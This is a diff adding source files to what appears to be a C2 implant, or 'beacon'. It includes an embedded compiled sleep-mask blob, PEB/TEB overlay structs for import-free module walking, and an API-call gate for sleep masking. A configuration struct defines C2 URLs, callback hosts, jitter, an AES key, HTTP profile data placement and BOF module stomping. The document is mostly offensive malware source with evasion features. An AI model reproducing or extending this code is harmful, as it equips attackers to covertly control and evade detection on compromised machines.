(p)[3280]=0x00; (p)[3281]=0x00; (p)[3282]=0x00; (p)[3283]=0x00; (p)[3284]=0x07; (p)[3285]=0x00; (p)[3286]=0x00; (p)[3287]=0x00; \
|
||||
(p)[3288]=0x03; (p)[3289]=0x01; (p)[3290]=0x14; (p)[3291]=0x00; (p)[3292]=0x00; (p)[3293]=0x00; (p)[3294]=0x00; (p)[3295]=0x00; \
|
||||
(p)[3296]=0x00; (p)[3297]=0x00; (p)[3298]=0x00; (p)[3299]=0x00; (p)[3300]=0x00; (p)[3301]=0x00; (p)[3302]=0x00; (p)[3303]=0x00; \
|
||||
(p)[3304]=0x00; (p)[3305]=0x00; (p)[3306]=0x00; (p)[3307]=0x00; (p)[3308]=0x00; (p)[3309]=0x00; (p)[3310]=0x00; (p)[3311]=0x00; \
|
||||
(p)[3312]=0x8B; (p)[3313]=0x00; (p)[3314]=0x00; (p)[3315]=0x00; (p)[3316]=0x00; (p)[3317]=0x00; (p)[3318]=0x00; (p)[3319]=0x00; \
|
||||
(p)[3320]=0x00; (p)[3321]=0x00; (p)[3322]=0x00; (p)[3323]=0x00; (p)[3324]=0x02; (p)[3325]=0x00; (p)[3326]=0x00; (p)[3327]=0x00; \
|
||||
(p)[3328]=0x00; (p)[3329]=0x00; (p)[3330]=0x9F; (p)[3331]=0x00; (p)[3332]=0x00; (p)[3333]=0x00; (p)[3334]=0x00; (p)[3335]=0x00; \
|
||||
(p)[3336]=0x00; (p)[3337]=0x00; (p)[3338]=0x00; (p)[3339]=0x00; (p)[3340]=0x00; (p)[3341]=0x00; (p)[3342]=0x02; (p)[3343]=0x00; \
|
||||
(p)[3344]=0x00; (p)[3345]=0x00; (p)[3346]=0x00; (p)[3347]=0x00; (p)[3348]=0xB9; (p)[3349]=0x00; (p)[3350]=0x00; (p)[3351]=0x00; \
|
||||
(p)[3352]=0x00; (p)[3353]=0x00; (p)[3354]=0x00; (p)[3355]=0x00; (p)[3356]=0x00; (p)[3357]=0x00; (p)[3358]=0x00; (p)[3359]=0x00; \
|
||||
(p)[3360]=0x02; (p)[3361]=0x00; (p)[3362]=0x00; (p)[3363]=0x00; (p)[3364]=0x00; (p)[3365]=0x00; (p)[3366]=0xDB; (p)[3367]=0x00; \
|
||||
(p)[3368]=0x00; (p)[3369]=0x00; (p)[3370]=0x00; (p)[3371]=0x00; (p)[3372]=0x00; (p)[3373]=0x00; (p)[3374]=0x00; (p)[3375]=0x00; \
|
||||
(p)[3376]=0x00; (p)[3377]=0x00; (p)[3378]=0x02; (p)[3379]=0x00; (p)[3380]=0x00; (p)[3381]=0x00; (p)[3382]=0x00; (p)[3383]=0x00; \
|
||||
(p)[3384]=0xEF; (p)[3385]=0x00; (p)[3386]=0x00; (p)[3387]=0x00; (p)[3388]=0x00; (p)[3389]=0x00; (p)[3390]=0x00; (p)[3391]=0x00; \
|
||||
(p)[3392]=0x00; (p)[3393]=0x00; (p)[3394]=0x00; (p)[3395]=0x00; (p)[3396]=0x02; (p)[3397]=0x00; (p)[3398]=0x00; (p)[3399]=0x00; \
|
||||
(p)[3400]=0x00; (p)[3401]=0x00; (p)[3402]=0x15; (p)[3403]=0x01; (p)[3404]=0x00; (p)[3405]=0x00; (p)[3406]=0x00; (p)[3407]=0x00; \
|
||||
(p)[3408]=0x00; (p)[3409]=0x00; (p)[3410]=0x00; (p)[3411]=0x00; (p)[3412]=0x00; (p)[3413]=0x00; (p)[3414]=0x02; (p)[3415]=0x00; \
|
||||
(p)[3416]=0x33; (p)[3417]=0x01; (p)[3418]=0x00; (p)[3419]=0x00; (p)[3420]=0x2E; (p)[3421]=0x72; (p)[3422]=0x64; (p)[3423]=0x61; \
|
||||
(p)[3424]=0x74; (p)[3425]=0x61; (p)[3426]=0x24; (p)[3427]=0x7A; (p)[3428]=0x7A; (p)[3429]=0x7A; (p)[3430]=0x00; (p)[3431]=0x48; \
|
||||
(p)[3432]=0x61; (p)[3433]=0x6E; (p)[3434]=0x64; (p)[3435]=0x6C; (p)[3436]=0x65; (p)[3437]=0x53; (p)[3438]=0x6C; (p)[3439]=0x65; \
|
||||
(p)[3440]=0x65; (p)[3441]=0x70; (p)[3442]=0x00; (p)[3443]=0x48; (p)[3444]=0x61; (p)[3445]=0x6E; (p)[3446]=0x64; (p)[3447]=0x6C; \
|
||||
(p)[3448]=0x65; (p)[3449]=0x57; (p)[3450]=0x61; (p)[3451]=0x69; (p)[3452]=0x74; (p)[3453]=0x46; (p)[3454]=0x6F; (p)[3455]=0x72; \
|
||||
(p)[3456]=0x53; (p)[3457]=0x69; (p)[3458]=0x6E; (p)[3459]=0x67; (p)[3460]=0x6C; (p)[3461]=0x65; (p)[3462]=0x4F; (p)[3463]=0x62; \
|
||||
(p)[3464]=0x6A; (p)[3465]=0x65; (p)[3466]=0x63; (p)[3467]=0x74; (p)[3468]=0x00; (p)[3469]=0x48; (p)[3470]=0x61; (p)[3471]=0x6E; \
|
||||
(p)[3472]=0x64; (p)[3473]=0x6C; (p)[3474]=0x65; (p)[3475]=0x57; (p)[3476]=0x61; (p)[3477]=0x69; (p)[3478]=0x74; (p)[3479]=0x46; \
|
||||
(p)[3480]=0x6F; (p)[3481]=0x72; (p)[3482]=0x4D; (p)[3483]=0x75; (p)[3484]=0x6C; (p)[3485]=0x74; (p)[3486]=0x69; (p)[3487]=0x70; \
|
||||
(p)[3488]=0x6C; (p)[3489]=0x65; (p)[3490]=0x4F; (p)[3491]=0x62; (p)[3492]=0x6A; (p)[3493]=0x65; (p)[3494]=0x63; (p)[3495]=0x74; \
|
||||
(p)[3496]=0x73; (p)[3497]=0x00; (p)[3498]=0x48; (p)[3499]=0x61; (p)[3500]=0x6E; (p)[3501]=0x64; (p)[3502]=0x6C; (p)[3503]=0x65; \
|
||||
(p)[3504]=0x56; (p)[3505]=0x69; (p)[3506]=0x72; (p)[3507]=0x74; (p)[3508]=0x75; (p)[3509]=0x61; (p)[3510]=0x6C; (p)[3511]=0x50; \
|
||||
(p)[3512]=0x72; (p)[3513]=0x6F; (p)[3514]=0x74; (p)[3515]=0x65; (p)[3516]=0x63; (p)[3517]=0x74; (p)[3518]=0x00; (p)[3519]=0x48; \
|
||||
(p)[3520]=0x61; (p)[3521]=0x6E; (p)[3522]=0x64; (p)[3523]=0x6C; (p)[3524]=0x65; (p)[3525]=0x47; (p)[3526]=0x65; (p)[3527]=0x6E; \
|
||||
(p)[3528]=0x65; (p)[3529]=0x72; (p)[3530]=0x69; (p)[3531]=0x63; (p)[3532]=0x00; (p)[3533]=0x73; (p)[3534]=0x6C; (p)[3535]=0x65; \
|
||||
(p)[3536]=0x65; (p)[3537]=0x70; (p)[3538]=0x5F; (p)[3539]=0x6D; (p)[3540]=0x61; (p)[3541]=0x73; (p)[3542]=0x6B; (p)[3543]=0x00; \
|
||||
(p)[3544]=0x2E; (p)[3545]=0x72; (p)[3546]=0x64; (p)[3547]=0x61; (p)[3548]=0x74; (p)[3549]=0x61; (p)[3550]=0x24; (p)[3551]=0x7A; \
|
||||
(p)[3552]=0x7A; (p)[3553]=0x7A; (p)[3554]=0x00; (p)[3555]=0x5F; (p)[3556]=0x5F; (p)[3557]=0x69; (p)[3558]=0x6D; (p)[3559]=0x70; \
|
||||
(p)[3560]=0x5F; (p)[3561]=0x4D; (p)[3562]=0x53; (p)[3563]=0x56; (p)[3564]=0x43; (p)[3565]=0x52; (p)[3566]=0x54; (p)[3567]=0x24; \
|
||||
(p)[3568]=0x70; (p)[3569]=0x72; (p)[3570]=0x69; (p)[3571]=0x6E; (p)[3572]=0x74; (p)[3573]=0x66; (p)[3574]=0x00; (p)[3575]=0x5F; \
|
||||
(p)[3576]=0x5F; (p)[3577]=0x69; (p)[3578]=0x6D; (p)[3579]=0x70; (p)[3580]=0x5F; (p)[3581]=0x4E; (p)[3582]=0x54; (p)[3583]=0x44; \
|
||||
(p)[3584]=0x4C; (p)[3585]=0x4C; (p)[3586]=0x24; (p)[3587]=0x4E; (p)[3588]=0x74; (p)[3589]=0x43; (p)[3590]=0x72; (p)[3591]=0x65; \
|
||||
(p)[3592]=0x61; (p)[3593]=0x74; (p)[3594]=0x65; (p)[3595]=0x45; (p)[3596]=0x76; (p)[3597]=0x65; (p)[3598]=0x6E; (p)[3599]=0x74; \
|
||||
(p)[3600]=0x00; (p)[3601]=0x5F; (p)[3602]=0x5F; (p)[3603]=0x69; (p)[3604]=0x6D; (p)[3605]=0x70; (p)[3606]=0x5F; (p)[3607]=0x4E; \
|
||||
(p)[3608]=0x54; (p)[3609]=0x44; (p)[3610]=0x4C; (p)[3611]=0x4C; (p)[3612]=0x24; (p)[3613]=0x4E; (p)[3614]=0x74; (p)[3615]=0x57; \
|
||||
(p)[3616]=0x61; (p)[3617]=0x69; (p)[3618]=0x74; (p)[3619]=0x46; (p)[3620]=0x6F; (p)[3621]=0x72; (p)[3622]=0x53; (p)[3623]=0x69; \
|
||||
(p)[3624]=0x6E; (p)[3625]=0x67; (p)[3626]=0x6C; (p)[3627]=0x65; (p)[3628]=0x4F; (p)[3629]=0x62; (p)[3630]=0x6A; (p)[3631]=0x65; \
|
||||
(p)[3632]=0x63; (p)[3633]=0x74; (p)[3634]=0x00; (p)[3635]=0x5F; (p)[3636]=0x5F; (p)[3637]=0x69; (p)[3638]=0x6D; (p)[3639]=0x70; \
|
||||
(p)[3640]=0x5F; (p)[3641]=0x4E; (p)[3642]=0x54; (p)[3643]=0x44; (p)[3644]=0x4C; (p)[3645]=0x4C; (p)[3646]=0x24; (p)[3647]=0x4E; \
|
||||
(p)[3648]=0x74; (p)[3649]=0x43; (p)[3650]=0x6C; (p)[3651]=0x6F; (p)[3652]=0x73; (p)[3653]=0x65; (p)[3654]=0x00; (p)[3655]=0x5F; \
|
||||
(p)[3656]=0x5F; (p)[3657]=0x69; (p)[3658]=0x6D; (p)[3659]=0x70; (p)[3660]=0x5F; (p)[3661]=0x4B; (p)[3662]=0x45; (p)[3663]=0x52; \
|
||||
(p)[3664]=0x4E; (p)[3665]=0x45; (p)[3666]=0x4C; (p)[3667]=0x33; (p)[3668]=0x32; (p)[3669]=0x24; (p)[3670]=0x57; (p)[3671]=0x61; \
|
||||
(p)[3672]=0x69; (p)[3673]=0x74; (p)[3674]=0x46; (p)[3675]=0x6F; (p)[3676]=0x72; (p)[3677]=0x4D; (p)[3678]=0x75; (p)[3679]=0x6C; \
|
||||
(p)[3680]=0x74; (p)[3681]=0x69; (p)[3682]=0x70; (p)[3683]=0x6C; (p)[3684]=0x65; (p)[3685]=0x4F; (p)[3686]=0x62; (p)[3687]=0x6A; \
|
||||
(p)[3688]=0x65; (p)[3689]=0x63; (p)[3690]=0x74; (p)[3691]=0x73; (p)[3692]=0x00; (p)[3693]=0x5F; (p)[3694]=0x5F; (p)[3695]=0x69; \
|
||||
(p)[3696]=0x6D; (p)[3697]=0x70; (p)[3698]=0x5F; (p)[3699]=0x4B; (p)[3700]=0x45; (p)[3701]=0x52; (p)[3702]=0x4E; (p)[3703]=0x45; \
|
||||
(p)[3704]=0x4C; (p)[3705]=0x33; (p)[3706]=0x32; (p)[3707]=0x24; (p)[3708]=0x56; (p)[3709]=0x69; (p)[3710]=0x72; (p)[3711]=0x74; \
|
||||
(p)[3712]=0x75; (p)[3713]=0x61; (p)[3714]=0x6C; (p)[3715]=0x50; (p)[3716]=0x72; (p)[3717]=0x6F; (p)[3718]=0x74; (p)[3719]=0x65; \
|
||||
(p)[3720]=0x63; (p)[3721]=0x74; (p)[3722]=0x00; \
|
||||
} while(0)
|
||||
@@ -0,0 +1,8 @@
|
||||
/* beacon/include/Crypto.h
|
||||
* AES-128-CBC constants for BCrypt encrypt / decrypt. */
|
||||
|
||||
#pragma once
|
||||
|
||||
#define NAX_AES_BLOCK 16
|
||||
#define NAX_AES_KEY 16
|
||||
#define NAX_AES_IV 16
|
||||
@@ -0,0 +1,112 @@
|
||||
/* beacon/include/Defs.h
|
||||
* Minimal LDR, PEB, and TEB overlay structs for PEB walk and TEB access.
|
||||
* MinGW cross-compile winternl.h hides most _TEB/_PEB fields behind Reserved
|
||||
* arrays; these overlays expose the fields at their real x64 offsets.
|
||||
* All offsets verified against Windows x64 ABI.
|
||||
*
|
||||
* NaxCurrentTeb() / NaxCurrentPeb() - thin macros wrapping NtCurrentTeb()
|
||||
* (defined in winnt.h, reads GS:[0x30]) cast to our richer overlay types. */
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/* ========= [ UNICODE_STRING (PEB/LDR) ] ========= */
|
||||
|
||||
typedef struct _NAX_UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
DWORD Pad; /* x64 alignment: Buffer is at +0x08 */
|
||||
PWSTR Buffer;
|
||||
} NAX_UNICODE_STRING, *PNAX_UNICODE_STRING;
|
||||
|
||||
/* ========= [ LDR_DATA_TABLE_ENTRY (InLoadOrderLinks walk) ] ========= */
|
||||
|
||||
typedef struct _NAX_LDR_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks; /* +0x00 */
|
||||
LIST_ENTRY InMemoryOrderLinks; /* +0x10 */
|
||||
LIST_ENTRY InInitOrderLinks; /* +0x20 */
|
||||
PVOID DllBase; /* +0x30 */
|
||||
PVOID EntryPoint; /* +0x38 */
|
||||
ULONG SizeOfImage; /* +0x40 */
|
||||
ULONG Reserved; /* +0x44 */
|
||||
NAX_UNICODE_STRING FullDllName; /* +0x48 */
|
||||
NAX_UNICODE_STRING BaseDllName; /* +0x58 */
|
||||
ULONG Flags; /* +0x68 */
|
||||
} NAX_LDR_ENTRY, *PNAX_LDR_ENTRY;
|
||||
|
||||
/* ========= [ PEB_LDR_DATA (module list head) ] ========= */
|
||||
|
||||
typedef struct _NAX_PEB_LDR_DATA {
|
||||
ULONG Length; /* +0x00 */
|
||||
BOOLEAN Initialized; /* +0x04 */
|
||||
BYTE Pad[3];
|
||||
HANDLE SsHandle; /* +0x08 */
|
||||
LIST_ENTRY InLoadOrderModuleList; /* +0x10 */
|
||||
} NAX_PEB_LDR_DATA, *PNAX_PEB_LDR_DATA;
|
||||
|
||||
/* ========= [ RTL_USER_PROCESS_PARAMETERS (minimal) ] ========= */
|
||||
/* Only ImagePathName is exposed - it is at +0x060 in the real struct.
|
||||
* Reserved[0x60] pads to the correct offset without naming intervening fields. */
|
||||
|
||||
typedef struct _NAX_RTL_USER_PROCESS_PARAMETERS {
|
||||
BYTE Reserved[0x60];
|
||||
NAX_UNICODE_STRING ImagePathName; /* +0x060 (Length/Buffer at +0x060/+0x068) */
|
||||
} NAX_RTL_USER_PROCESS_PARAMETERS, *PNAX_RTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
/* ========= [ PEB overlay ] ========= */
|
||||
/*
|
||||
* x64 PEB layout (verified):
|
||||
* +0x000 InheritedAddressSpace / ReadImageFileExecOptions (2 bytes)
|
||||
* +0x002 BeingDebugged (1 byte)
|
||||
* +0x003 BitField + Padding (5 bytes)
|
||||
* +0x008 Mutant (8 bytes PVOID)
|
||||
* +0x010 ImageBaseAddress (8 bytes PVOID)
|
||||
* +0x018 Ldr (8 bytes PVOID)
|
||||
* +0x020 ProcessParameters (8 bytes PVOID)
|
||||
* +0x028 SubSystemData (8 bytes)
|
||||
* +0x030 ProcessHeap (8 bytes PVOID)
|
||||
*
|
||||
* Byte accounting for the Reserved block:
|
||||
* Reserved1[2] (0x00-0x01) + BeingDebugged(0x02) + Reserved2[21](0x03-0x17) = 0x18
|
||||
* → Ldr starts at +0x018 ✓ */
|
||||
|
||||
typedef struct _NAX_PEB {
|
||||
BYTE Reserved1[2]; /* +0x000 */
|
||||
BYTE BeingDebugged; /* +0x002 */
|
||||
BYTE Reserved2[21]; /* +0x003 – fills to +0x017 */
|
||||
struct _NAX_PEB_LDR_DATA *Ldr; /* +0x018 */
|
||||
PNAX_RTL_USER_PROCESS_PARAMETERS ProcessParameters; /* +0x020 */
|
||||
PVOID SubSystemData; /* +0x028 */
|
||||
HANDLE ProcessHeap; /* +0x030 */
|
||||
} NAX_PEB, *PNAX_PEB;
|
||||
|
||||
/* ========= [ TEB overlay ] ========= */
|
||||
/*
|
||||
* x64 TEB layout (key fields only):
|
||||
* +0x000 NtTib (NT_TIB, 0x38 bytes) - ArbitraryUserPointer at NtTib+0x028
|
||||
* +0x038 EnvironmentPointer (PVOID)
|
||||
* +0x040 ClientId.UniqueProcess (HANDLE)
|
||||
* +0x048 ClientId.UniqueThread (HANDLE)
|
||||
* +0x050 ActiveRpcHandle (PVOID)
|
||||
* +0x058 ThreadLocalStoragePointer (PVOID)
|
||||
* +0x060 ProcessEnvironmentBlock (PPEB / PNAX_PEB) */
|
||||
|
||||
typedef struct _NAX_CLIENT_ID {
|
||||
HANDLE UniqueProcess; /* TEB+0x040 */
|
||||
HANDLE UniqueThread; /* TEB+0x048 */
|
||||
} NAX_CLIENT_ID;
|
||||
|
||||
typedef struct _NAX_TEB {
|
||||
NT_TIB NtTib; /* +0x000 (0x38 bytes, ArbitraryUserPointer at +0x028) */
|
||||
PVOID EnvironmentPointer; /* +0x038 */
|
||||
NAX_CLIENT_ID ClientId; /* +0x040 */
|
||||
PVOID ActiveRpcHandle; /* +0x050 */
|
||||
PVOID ThreadLocalStoragePointer; /* +0x058 */
|
||||
PNAX_PEB ProcessEnvironmentBlock; /* +0x060 */
|
||||
DWORD LastErrorValue; /* +0x068 - same as GetLastError(), no import needed */
|
||||
} NAX_TEB, *PNAX_TEB;
|
||||
|
||||
/* NtCurrentTeb() from winnt.h reads GS:[0x30]; cast to our richer type.
|
||||
* NaxCurrentPeb() follows the ProcessEnvironmentBlock pointer. */
|
||||
#define NaxCurrentTeb() ( (PNAX_TEB)(PVOID)NtCurrentTeb() )
|
||||
#define NaxCurrentPeb() ( NaxCurrentTeb()->ProcessEnvironmentBlock )
|
||||
@@ -0,0 +1,37 @@
|
||||
/* beacon/include/Gate.h
|
||||
* Shared between beacon gate wrappers and sleepmask dispatcher.
|
||||
* No dependency on Instance.h - only windows.h for base types. */
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define GATE_MAX_ARGS 10
|
||||
|
||||
typedef enum _GATE_API {
|
||||
GATE_API_GENERIC = 0x00,
|
||||
GATE_API_SLEEP = 0x01,
|
||||
GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02,
|
||||
GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
|
||||
GATE_API_VIRTUAL_PROTECT = 0x04,
|
||||
} GATE_API;
|
||||
|
||||
typedef struct _FUNCTION_CALL {
|
||||
PVOID FunctionPtr;
|
||||
UINT32 GateApi;
|
||||
UINT32 NumArgs;
|
||||
ULONG_PTR Args[GATE_MAX_ARGS];
|
||||
ULONG_PTR RetValue;
|
||||
PVOID SmInfo;
|
||||
} FUNCTION_CALL, *PFUNCTION_CALL;
|
||||
|
||||
typedef ULONG_PTR (*FN0 )( VOID );
|
||||
typedef ULONG_PTR (*FN1 )( ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN2 )( ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN3 )( ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN4 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN5 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN6 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN7 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN8 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN9 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
typedef ULONG_PTR (*FN10)( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR );
|
||||
@@ -0,0 +1,14 @@
|
||||
/* beacon/include/Helpers.h
|
||||
* Shared helper functions - deduplicated from per-module static copies. */
|
||||
|
||||
#pragma once
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
|
||||
FUNC UINT32 NaxStrLen( const PCHAR s );
|
||||
FUNC UINT32 NaxWcharLen( const PWCHAR s );
|
||||
FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code );
|
||||
FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src );
|
||||
FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src );
|
||||
FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 v );
|
||||
FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val );
|
||||
@@ -0,0 +1,586 @@
|
||||
/* beacon/include/Instance.h
|
||||
* NAX_INSTANCE - heap-allocated beacon state.
|
||||
* NAX_CONFIG holds all runtime-configurable fields (sleep, jitter, key, C2).
|
||||
* Recovered anywhere via G_INSTANCE (reads TEB->NtTib.ArbitraryUserPointer).
|
||||
*
|
||||
* Each DLL bundle struct holds only function pointers from that DLL. */
|
||||
|
||||
#pragma once
|
||||
#include "Macros.h"
|
||||
#include "Defs.h"
|
||||
#include "Wire.h"
|
||||
|
||||
/* ntdll.h brings all NT types, NtCurrentProcess/Thread, and full NTAPI declarations
|
||||
* (NtAllocateVirtualMemory, NtProtectVirtualMemory, etc.) so we never redefine them. */
|
||||
#define _WINTERNL_
|
||||
#include "ntdll.h"
|
||||
#include <winsock2.h>
|
||||
#include <winhttp.h>
|
||||
#include <bcrypt.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <aclapi.h>
|
||||
#include "WinApis.h"
|
||||
|
||||
/* ========= [ output configuration ] ========= */
|
||||
|
||||
#define BOF_STOMP_ASYNC_MAX 4
|
||||
|
||||
#define NAX_FMT_RAW 0u
|
||||
#define NAX_FMT_BASE64 1u
|
||||
#define NAX_FMT_BASE64URL 2u
|
||||
#define NAX_FMT_HEX 3u
|
||||
|
||||
#define NAX_PLACE_BODY 0u
|
||||
#define NAX_PLACE_HEADER 1u
|
||||
#define NAX_PLACE_COOKIE 2u
|
||||
#define NAX_PLACE_PARAMETER 3u
|
||||
|
||||
typedef struct _NAX_OUTPUT_CFG {
|
||||
BYTE Format; /* NAX_FMT_* */
|
||||
BYTE Mask; /* 0 or 1 - XOR with 4-byte random key */
|
||||
BYTE Placement; /* NAX_PLACE_* */
|
||||
CHAR Name[ 128 ]; /* header/cookie/param name */
|
||||
CHAR Prepend[ 512 ];
|
||||
UINT16 PrependLen;
|
||||
CHAR Append[ 512 ];
|
||||
UINT16 AppendLen;
|
||||
CHAR EmptyResp[ 512 ];
|
||||
UINT16 EmptyRespLen;
|
||||
} NAX_OUTPUT_CFG;
|
||||
|
||||
/* ========= [ runtime configuration ] ========= */
|
||||
|
||||
typedef struct {
|
||||
UINT32 SleepMs;
|
||||
BYTE JitterPct;
|
||||
BYTE AesKey[ 16 ];
|
||||
UINT32 ListenerWm;
|
||||
CHAR C2Url[ 128 ];
|
||||
|
||||
BYTE ProfileLoaded;
|
||||
BYTE ProfileVersion; /* 1=legacy, 2=v2 */
|
||||
BYTE Rotation; /* 0=sequential, 1=random */
|
||||
CHAR BeaconIdHdr[ 128 ]; /* header name for beacon ID (default X-Beacon-Id) */
|
||||
|
||||
/* callback hosts */
|
||||
BYTE HostCount;
|
||||
CHAR Hosts[ 4 ][ 128 ];
|
||||
CHAR UserAgent[ 256 ];
|
||||
|
||||
/* GET transaction */
|
||||
BYTE GetUriCount;
|
||||
BYTE GetUriIdx;
|
||||
CHAR GetUris[ 8 ][ 128 ];
|
||||
NAX_OUTPUT_CFG GetClientMeta;
|
||||
BYTE GetClientHdrCount;
|
||||
CHAR GetClientHdrs[ 8 ][ 256 ];
|
||||
BYTE GetClientParamCount;
|
||||
CHAR GetClientParams[ 8 ][ 128 ];
|
||||
NAX_OUTPUT_CFG GetServerOutput;
|
||||
|
||||
/* POST transaction */
|
||||
BYTE PostUriCount;
|
||||
BYTE PostUriIdx;
|
||||
CHAR PostUris[ 8 ][ 128 ];
|
||||
NAX_OUTPUT_CFG PostClientMeta;
|
||||
NAX_OUTPUT_CFG PostClientOutput;
|
||||
BYTE PostClientHdrCount;
|
||||
CHAR PostClientHdrs[ 8 ][ 256 ];
|
||||
NAX_OUTPUT_CFG PostServerOutput;
|
||||
|
||||
/* chunked download */
|
||||
UINT32 DlChunkSize;
|
||||
|
||||
/* BOF module stomping */
|
||||
BYTE BofStomp;
|
||||
WCHAR BofSyncDll[ 64 ];
|
||||
BYTE BofAsyncCount;
|
||||
WCHAR BofAsyncDlls[ BOF_STOMP_ASYNC_MAX ][ 64 ];
|
||||
WCHAR SmStompDll[ 64 ];
|
||||
} NAX_CONFIG;
|
||||
|
||||
/* ========= [ ntdll.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
HMODULE Handle;
|
||||
D_API( RtlAllocateHeap );
|
||||
D_API( RtlFreeHeap );
|
||||
D_API( RtlExitUserThread );
|
||||
D_API( NtAllocateVirtualMemory );
|
||||
D_API( NtProtectVirtualMemory );
|
||||
D_API( NtFreeVirtualMemory );
|
||||
D_API( RtlAddFunctionTable );
|
||||
D_API( RtlDeleteFunctionTable );
|
||||
D_API( NtOpenProcessToken );
|
||||
D_API( NtQueryInformationToken );
|
||||
D_API( NtQueryInformationProcess );
|
||||
D_API( NtClose );
|
||||
D_API( NtQuerySystemInformation );
|
||||
D_API( NtOpenProcess );
|
||||
D_API( NtTerminateProcess );
|
||||
D_API( TpAllocWork );
|
||||
D_API( TpPostWork );
|
||||
D_API( TpReleaseWork );
|
||||
D_API( RtlInitializeCriticalSection );
|
||||
D_API( RtlEnterCriticalSection );
|
||||
D_API( RtlLeaveCriticalSection );
|
||||
D_API( RtlTryEnterCriticalSection );
|
||||
D_API( RtlDeleteCriticalSection );
|
||||
D_API( LdrRegisterDllNotification );
|
||||
D_API( LdrUnregisterDllNotification );
|
||||
D_API( _vsnprintf );
|
||||
D_API( DbgPrint );
|
||||
D_API( NtQueryVirtualMemory );
|
||||
} NAX_NTDLL;
|
||||
|
||||
/* ========= [ msvcrt.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( printf );
|
||||
} NAX_MSVCRT;
|
||||
|
||||
/* ========= [ kernel32.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
HMODULE Handle;
|
||||
D_API( ExitProcess );
|
||||
D_API( Sleep );
|
||||
D_API( LoadLibraryW );
|
||||
D_API( HeapCreate );
|
||||
D_API( HeapDestroy );
|
||||
D_API( GetComputerNameExW );
|
||||
D_API( WideCharToMultiByte );
|
||||
D_API( MultiByteToWideChar );
|
||||
D_API( GlobalFree );
|
||||
D_API( CreateDirectoryA );
|
||||
D_API( SetCurrentDirectoryA );
|
||||
D_API( GetCurrentDirectoryA );
|
||||
D_API( CreateFileA );
|
||||
D_API( ReadFile );
|
||||
D_API( WriteFile );
|
||||
D_API( DeleteFileA );
|
||||
D_API( CloseHandle );
|
||||
D_API( RemoveDirectoryA );
|
||||
D_API( FindFirstFileA );
|
||||
D_API( FindNextFileA );
|
||||
D_API( FindClose );
|
||||
D_API( GetFileSize );
|
||||
D_API( GetLastError );
|
||||
D_API( LoadLibraryA );
|
||||
D_API( GetProcAddress );
|
||||
D_API( GetModuleHandleA );
|
||||
D_API( FreeLibrary );
|
||||
D_API( LoadLibraryExW );
|
||||
D_API( VirtualProtect );
|
||||
D_API( CreateProcessA );
|
||||
D_API( CreatePipe );
|
||||
D_API( WaitForSingleObject );
|
||||
D_API( WaitForMultipleObjects );
|
||||
D_API( PeekNamedPipe );
|
||||
D_API( CreateNamedPipeA );
|
||||
D_API( ConnectNamedPipe );
|
||||
D_API( DisconnectNamedPipe );
|
||||
D_API( SetNamedPipeHandleState );
|
||||
D_API( CreateEventA );
|
||||
D_API( SetEvent );
|
||||
D_API( ResetEvent );
|
||||
D_API( GetOverlappedResult );
|
||||
D_API( CancelIo );
|
||||
D_API( FlushFileBuffers );
|
||||
D_API( CreateThread );
|
||||
D_API( TerminateThread );
|
||||
D_API( GetTickCount64 );
|
||||
D_API( GetCurrentThread );
|
||||
D_API( DuplicateHandle );
|
||||
D_API( GetCurrentProcess );
|
||||
D_API( GetACP );
|
||||
D_API( GetOEMCP );
|
||||
D_API( GetProcessMitigationPolicy );
|
||||
} NAX_KERNEL32;
|
||||
|
||||
/* ========= [ kernelbase.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( SetProcessValidCallTargets );
|
||||
} NAX_KERNELBASE;
|
||||
|
||||
/* ========= [ bcrypt.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( BCryptOpenAlgorithmProvider );
|
||||
D_API( BCryptSetProperty );
|
||||
D_API( BCryptGenerateSymmetricKey );
|
||||
D_API( BCryptEncrypt );
|
||||
D_API( BCryptDecrypt );
|
||||
D_API( BCryptDestroyKey );
|
||||
D_API( BCryptCloseAlgorithmProvider );
|
||||
D_API( BCryptGenRandom );
|
||||
} NAX_BCRYPT;
|
||||
|
||||
